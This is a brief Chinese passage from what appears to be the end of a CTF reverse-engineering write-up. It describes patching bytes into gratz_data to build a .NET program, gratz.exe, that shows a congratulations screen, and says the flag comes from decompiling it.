最后将argv[1]的前两个字节替换gratz_data头两个字节,argv[2]的前两个字节替换gratz_data偏移0x80处的两个字节,最后生成gratz.exe文件。下图是gratz.exe运行后的截图。
果然同我们猜想的一样,是一个祝贺的界面~~,这个程序是.NET写的,最终同第一题一样,反汇编.NET即可得到最终的flag,这里就不再赘述了。
总算完成了~~~好辛苦~~~~